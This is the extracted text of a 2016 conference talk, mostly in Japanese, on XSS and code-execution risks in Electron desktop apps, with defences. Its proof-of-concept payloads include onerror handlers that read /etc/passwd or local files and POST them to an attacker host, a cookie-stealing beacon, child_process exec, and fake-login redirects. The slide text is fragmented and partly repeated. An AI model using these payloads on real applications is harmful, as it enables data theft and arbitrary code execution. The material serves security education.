[CB16] Electron - Build cross platform desktop XSS, it’s easier than you think by はせがわようすけ

Build cross platform desktop XSSIt’s easier than you think

ELECTRON

Secure Sky Technology Inc.Yosuke HASEGAWA

Yosuke HASEGAWA @hasegawayosuke

Secure Sky Technology Inc. Technical AdvisorOWASP Kansai Chapter LeaderOWASP Japan Chapter board memberCODE BLUE Review board memberhttp//utf-8.jp/ Author of jjencode, aaencodeTalked at Black Hat Japan 2008, KOREA POC 2008, POC 2010, OWASP AppSec APAC 2014 and others.Found many vulns of IE, Firefox and others.

Secure Sky Technology Inc. CODE BLUE 2016


What's Electron ?GitHub 社によって開発された、クロスプラットフォームなデスクトップアプリケーションを開発するためのフレームワーク

HTML+JavaScript でアプリケーションを作成できる

多くのアプリケーションで使用実績


What's Electron ?HTML + JavaScript = Native Apps

Microsoft HTML Application (*.hta)Firefox OSApache Cordova / Adobe PhoneGapChrome AppsElectron / NW.js

ElectronCross platformバイナリのビルドが可能


What's Electron ?Node.js と Chromium をランタイムとして内包

メインプロセスアプリケーション全体を統括。 node.js そのも

のレンダラプロセス

Chromium+node.jsmainprocess

renderer process

Electron Apps

IPC


What's Electron ?

mainprocess

renderer process

Electron Apps

IPC

index.html

package.json

{ "name" : "Apps name", "version" : "0.1", "main" : "main.js"}

main.jslet win = new BrowserWindow( {width:840,height:700} );

{json}

<html> <head>...</head> <body> <script>...</script> </body></html>

win.loadURL( `file://${__dirname}/index.html` );


What's Electron ?レンダラではブラウザ内で node.js が動く

node 機能は無効にもできる。デフォルト有効。

<html> <script> const fs = require( "fs" ); function foo(){ fs.readFile( "./test.txt", { encoding: "utf-8" }, (err, data) => { document.getElementById("main").textContent = data; } ); } </script> <div id="main"> </div></html>


Electron アプリのセキュリティ対策



おおきく 3 種類の問題に分けられるWeb アプリとしてのセキュリティ対策

レンダラはブラウザ。 DOM-based XSS 対策が必要

ローカルアプリとしてのセキュリティ対策レースコンディションや不適切な暗号など、古

くからのアプリケーション同様の対策Electron 固有のセキュリティ対策

様々な Electron の機能に対する対策









Web アプリとしてのセキュリティ対策

レンダラプロセス： Chromium + node.jsDOM 操作が多くなりがちDOM-based XSS が発生しやすいJavaScript によるオープンリダイレクタ

従来の Web アプリ同様のフロントエンドのセキュリティ対策が必要


Web アプリとしてのセキュリティ対策DOM-based XSS が発生しやすいDOM 操作が多いそもそも DOM-based XSS は見つけにくい

fs.readFile( filename, (err,data) => { if(!err) element.innerHTML = data; //XSS!});

fs.readdir( dirname, (err,files) => { files.forEach( (filename) => { let elm = document.createElement( "div" ); elm.innerHTML = `<a href='${filename}'>${filename}</a>`; //XSS! paerntElm.appendChild( elm ); });});


Web アプリとしてのセキュリティ対策DOM-based XSS が発生すると致命的な被害攻撃者のインジェクトしたコード内でも node

機能が利用可能な場合が多いXSS = alert だけではない

ローカルファイルの読み書き任意プロトコルでの通信他アプリへの干渉任意プロセスの生成

つまり、 DOM-based XSS をきっかけに任意のコード実行が可能となる


Web アプリとしてのセキュリティ対策従来の Web アプリ

ニセ情報の表示、 Cookie の漏えい、 Web サイト内の情報の漏えい…

「該当 Web サイト内」で JS ができること全て該当 Web サイトを超えては何もできない

ブラウザに守られている … サンドボックス脆弱性があっても自身の Web サイト以外への

影響はないサイト運営者が責任を持てる範囲でしか被害が

発生しない


Web アプリとしてのセキュリティ対策Electron における XSS

アプリを使っているユーザーの権限での任意コードの実行

PC 内でそのユーザーができること全て既存アプリケーションの破壊オンラインバンキング用アプリの改ざん、盗聴マルウェア感染、配信

該当アプリケーションの範囲を超えて何でもできる

開発者の責任の重みがまったく変わってくる


Web アプリとしてのセキュリティ対策Electron アプリに対する攻撃に対してWeb サイト改ざんの JavaScript

難読化されていても最終的には DOM 操作<iframe> や <script> の挿入を探す

Electron に対する攻撃用 JavaScriptどのような処理でも可能性として存在挙動を詳細に調査する必要がある

解析するため側の技術も未成熟









ローカルアプリとしてのセキュリティ対策

ローカルアプリのセキュリティ対策も必要symlink 攻撃レースコンディション暗号の不適切な利用過大なアクセス権限

機密情報が 644 などファイル名の別名表記

8.3 形式、 ADS(file.txt::$DATA) などその他諸々

Web アプリとは異なる知識背景プラットフォーム固有の知識も必要









Electron 固有のセキュリティ対策

個々の API を使う上での注意点<webview> tagshell.openExternal

Electron のアーキテクチャ上の問題点BrowserWindow は通常 file:// をロードするブラウザと異なりアドレスバーが存在しない


Deep dive intoDbXSS of Electron


DOM-based XSS ソースをエスケープせずにシンクに与えることで JS 上で発生する XSSソース：攻撃者の与えた文字列シンク：文字列から HTML を生成したりコード

として実行する箇所

ソース処理シンク

location.hashlocation.hreflocation.search

document.referrer

window.name

xhr.responseText

postMessage

location.href

document.write

innerHTML

evalFunction

setTimeoutsetInterval


DOM-based XSS 従来の XSS での被害

alert の表示

Web アプリ内に偽情報を表示

Cookie の奪取

Web アプリ内の機密情報の奪取

他には？

elm.innerHTML = "<img src=# onerror=alert('xss!')>";

elm.innerHTML = "<form> ログイン :<input type='password'>";

elm.innerHTML = "<img src=# onerror=\"new Image().src='http://example.jp/?'+document.cookie\">";elm.innerHTML = "<img src=# onerror=\"new Image().src='http://example.jp/?'+elm.innerHTML\">";


DOM-based XSS on Electron apps

レンダラ上で node 機能がデフォルト有効// xss_source は攻撃者がコントロール可能な文字列elm.innerHTML = xss_source; // XSS!

<img src=# onerror= "require('child_process').exec('calc.exe',null);"><img src=# onerror=" let s = require('fs').readFileSync('/etc/passwd','utf-8'); fetch( 'http://evil.utf-8.jp/', { method:'POST', body:s });">


”

“


任意コード実行が可能 - まるでバッファオーバーフロー

XSS: The New Buffer Overflow In many respects, an XSS vulnerability is just as dangerous as a buffer overflow.多くの点から見て、 XSS 脆弱性の危険性は

バッファオーバーフローに匹敵します。

"Security Briefs: SDL Embraces The Web", Apr. 2008http://web.archive.org/web/20080914182747/http://msdn.microsoft.com/en-us/magazine/cc794277.aspx



ソースをエスケープせずにシンクに与えることで JS 上で発生する XSSソース：攻撃者の与えた文字列シンク：文字列から HTML を生成したりコード




document.referrer

window.name

xhr.responseText

postMessage

location.href

document.write

innerHTML

evalFunction




ソースをエスケープせずにシンクに与えることで JS 上で発生する XSSソース：攻撃者の与えた文字列シンク：文字列から HTML を生成したりコード




document.referrer

window.name

xhr.responseText

postMessage

location.href

document.write

innerHTML

evalFunction


ユーザ名データベース

ファイルの内容

ファイルの内容

ファイル名

ログの内容webFrame.executeJavaScript

webViewrequire



従来の Web アプリでは存在しなかったソースHTTP や Web と無関係なあらゆるデータが

XSS ソースとなり得るシンクはそれほど増えていない

require などに動的な引数を与えることは通常ない

ソースを意識するのではなく、シンクへ渡す際にエスケープすることが重要適切な DOM 操作

(textContent 、 setAttribute等 )


Content Security Policy


Content Security PolicyXSS 対策としてレンダラに CSP を適用することは効果があるのか<head> <meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'self'"></head><body> <script src="./index.js"></script></body>

renderer

//index.jselm.innerHTML = xss_source; // XSS!


Content Security Policy

xss_source = '<meta http-equiv="refresh" content="0;http://evil.utf-8.jp/">';

<script> require('child_process').exec('calc.exe',null);</script>

http://evil.utf-8.jp/

meta refresh は CSP によって制限されない

レンダラで開かれる。レンダラ内では node 機能が利用可能。

<head> <meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'self'"></head><body> <script src="./index.js"></script></body>

renderer

//index.jselm.innerHTML = xss_source; // XSS!


Content Security PolicyAnother pattern

<head> <meta http-equiv="Content-Security-Policy" content="default-src 'self'"></head><body>　 <iframe id="iframe"></iframe> <script src="./index.js"></script></body>

renderer

//index.jsiframe.setAttribute("src", xss_source); // XSS?


Content Security PolicyAnother pattern

<head> <meta http-equiv="Content-Security-Policy" content="default-src 'self'"></head><body>　 <iframe id="iframe"></iframe> <script src="./index.js"></script></body>

renderer

//index.jsiframe.setAttribute("src", xss_source); // XSS!

app.on('ready', () => { win = new BrowserWindow({width:600, height:400} ); win.loadURL(`file://${__dirname}/index.html`); ....

main.jsorigin === 'file://'


Content Security Policy<head> <meta http-equiv="Content-Security-Policy" content="default-src 'self'"></head><body>　 <iframe id="iframe"></iframe> <script src="./index.js"></script></body>

renderer

//index.jsiframe.setAttribute("src", xss_source); // XSS!

xss_source = 'file://remote-server/share/trap.html';

window.top.location=`data:text/html,<script>require('child_process').exec('calc.exe',null);<\/script>`;

file://remote-server/share/trap.html

origin が "file://" なので攻撃者のファイルサーバも同じオリジン

top level window では node 機能が使える


Content Security PolicyCSP によってリソースの読み込みを制限しても meta refresh によってページ遷移が可能レンダラ内を攻撃者の用意した罠ページに遷移攻撃者の用意した罠ページではもちろん CSP は効

かないfile:// なので攻撃者のリソースも同一オリジンになるiframe や script ソースを埋め込みやすい

レンダラ内では node 機能が使える結論： CSP では XSS の脅威を軽減できない


レンダラでの node の無効化



レンダラの node を無効にすれば脅威は低減

BrowserWindow 生成時に明示的に無効を指定する必要がある。デフォルト有効。

app.on('ready', () => { win = new BrowserWindow( { webPreferences:{nodeIntegration:false} }); win.loadURL(`file://${__dirname}/index.html`); ....

main.js



レンダラではデフォルトで node 機能が有効になっている

明示的に node を無効にしなければ有効のままレンダラで node を無効にすると、 Electron

アプリとして実用的なことが出来なくなるそれでも node 無効化は効果があるのか？



node 無効の JS でどこまでの攻撃が可能か

そもそもオリジンが file:// になっているXHR等でローカルファイルの読み取りが可能

app.on('ready', () => { win = new BrowserWindow( { webPreferences:{nodeIntegration:false} }); win.loadURL(`file://${__dirname}/index.html`); ....

var xhr = new XMLHttpRequest();xhr.open( "GET", "file://c:/file.txt", true );xhr.onload = () => { fetch( "http://example.jp/", { method:"POST",body:xhr.responseText } );};xhr.send( null );


レンダラでの node 無効化

明示的に指定することで node を無効化できる

node を無効化にするとアプリとして実用的なことは出来なくなる

node を無効にしてもローカルファイルの読み取りは可能


iframe sandbox


iframe sandboxアプリケーションとして DOM 操作する対象を <iframe sandbox> 内のみに限定する

iframe を外から操作

iframe 内で DbXSS が発生しても被害を抑えられる

<iframe sandbox="allow-same-origin" id="sb" srcdoc="<html><div id=msg'></div>..."></iframe>....document.querySelector("#sb") .contentDocument.querySelector("#msg").innerHTML = "Hello, XSS!<script>alert(1)<\/script>"; // not work


DbXSS の緩和 - <iframe sandbox><iframe sandbox[="params"]> 代表的な

もの allow-forms - フォームの実行

を許可allow-scripts - スクリプトの実行を許

可allow-same-origin - 同一オリジン扱いを許

可allow-top-navigation- top への干渉を許可allow-popups - ポップアップを許可

allow-scripts を指定するのは危険iframe 内で普通に JS が動く

allow-top-navigation 、 allow-popups も危険


<iframe sandbox="allow-popups"><iframe sandbox="allow-same-origin allow-popups" id="sb" srcdoc="<html><div id=msg'></div>..."></iframe>...var xss = `<a target="_blank" href="data:text/html,<script>require('child_process') .exec('calc.exe',null);<\/script>">Click</a>`;document.querySelector("#sb") .contentDocument.querySelector("#msg").innerHTML = xss;

Click

(iframe)data:text/html,

<script>require(...)

← CE C ± √7 8 9 / %4 5 6 * 1/x1 2 3 -

=0 . +

0

popup によって生成された BrowserWindow では、node 機能が有効な状態で JavaScript が動く


<webview> tag


<webview> tag他のサイトをレンダラ内に埋め込む

iframe と異なり webview 内から外側は完全に見えない (window.top など )

外からも簡単には DOM 操作できない(iframe.contentWindow のようなものはない )

webviewごとに node 機能の有無を指定可能

allowpopups属性により新しいウィンドウの生成を許可

<webview src="http://example.jp/"></webview>

<webview src="http://example.jp/" nodeintegration></webview>

<webview src="http://example.jp/" allowpopups></webview>


<webview> tagwindow.open() 、 <a target=_blank> などで新しく開かれたウィンドウiframe と webview では node の有効・無効は

異なる

<webview allow-popups>node 無効

レンダラ (node 有効 )

<iframe>node は常に無効

レンダラ (node 有効 ) <webview allow-popups nodeintegration>node 有効

レンダラ (node 有効 )

新しいレンダラ (node 無効 )

新しいレンダラ (node 有効 )

新しいレンダラ (node 有効 )


<webview> tagnode は無効にし preload 機能を使うほうが安全

preload script 内では node 無効の webview内であっても node 機能が利用可能

<webview src="http://example.jp/" preload="./prealod.js"></webview>

//preload.jswindow.loadConfig = function(){ let file = `${__dirname}/config.json`; let s = require("fs").readFileSync( file, "utf-8" ); return JSON.eval( s );};


<webview> tagよくあるケース

既存の Web アプリのネイティブアプリ化<webview> 内に既存の Web アプリを埋め込

み<body> <webview src="http://example.jp/"></webview> <script src="native-apps.js"></script></body>

Code Blue SNS

Ads





Code Blue SNS

Ads

webview





Code Blue SNS

Ads

webview

webview 内に 3rd partyの

広告が入る


<webview> tagwebview 内に 3rd party の広告が入る場合

広告 JS も webview 内で自由にコード実行webview で node が有効な場合は広告 JS も

node 機能も使えるnode が無効な場合でも window.top経由で全画面書き換え、偽ログイン画面の表示などはできる

悪意ある広告、配信サーバの汚染など…Code Blue SNS

User:

Pass:

// load fake login pagewindow.top = "http://evil.utf-8.jp/";


<webview> tag対策 : 広告は iframe sandbox 内に表示

top への干渉を防ぐJS埋め込み型の広告だと対策できない

Web アプリオリジンを超えて広告が Web アプリへ影響を与える

ことはないユーザーはアドレスバーで正規サイトか確認できる

Electron アプリiframe 内の広告でも node 機能が有効なら悪意ある

コードが実行可能アドレスバーがないので正規サイトかの確認ができ

ない


window.open from <webview>

allowpopups属性window.open で popup が可能になる

window.open では file: スキームも指定可能

攻撃者はファイルサーバを経由することでfile:// オリジンのスクリプトを動作させ、ローカルファイルを読み取ることが可能

<webview src="http://example.jp/" allowpopups></webview>

// http://example.jpwindow.open("file://remote-server/share/trap.html");

// file://remote-server/share/trap.htmlvar xhr = new XMLHttpRequest();xhr.open( "GET", "file://C:/secret.txt", true );


window.open from <webview>対策

allowpopups属性をつけないまたは、 main.js 側で URL を検査// main.jsapp.on('browser-window-created', (evt, window) => { window.webContents.on('new-window', (evt,url) => { let protocol = require('url').parse(url).protocol; if (!protocol.match( /^https?:/ )) { evt.defaultPrevented = true; console.log( "invalid url", url ); } });});


shell.openExternalshell.openItem


shell.openExternal, shell.openItem

URL や拡張子に対応した外部プログラムを起動const {shell} = require( 'electron' );const url = 'http://example.jp/';shell.openExternal( url ); // OS標準のブラウザが起動shell.openItem( url );

let file = 'C:/Users/hasegawa/test.txt';shell.openExternal( file ); // OS標準の方法でファイルを開くshell.openItem( file ); let filename = 'file://C:/Users/hasegawa/test.txt';shell.openExternal( file ); // OS標準の方法でファイルを開くshell.openItem( file );



よくあるケースwebview からの window.open などを OS標準

のブラウザで開く

攻撃者が URL を細工できる場合、任意のコマンドを起動可能

コマンドに引数は渡せない

webview.on( 'new-window', (e) => { shell.openExternal( e.url ); // OS標準のブラウザで開く});

<a href="file://c:/windows/system32/calc.exe">Click</a>



shell.openExternal 、 shell.openItem には任意の URL が渡らないよう確認が必要if (url.match( /^https?:\/\// )) { shell.openExternal( url ); // ブラウザで開く}


Conclusion


ConclusiondomXss().then( die ); // ACEnode が有効なコンテキストで外部のスクリプトが動かないよう細心の注意が必要

file: スキームで外部のスクリプトが動かないよう細心の注意が必要攻撃者は罠ファイルサーバを利用可能


Question ?

[email protected]@hasegawayosukehttp://utf-8.jp/

Credits to @harupuxa, @kinugawamasato, nishimunea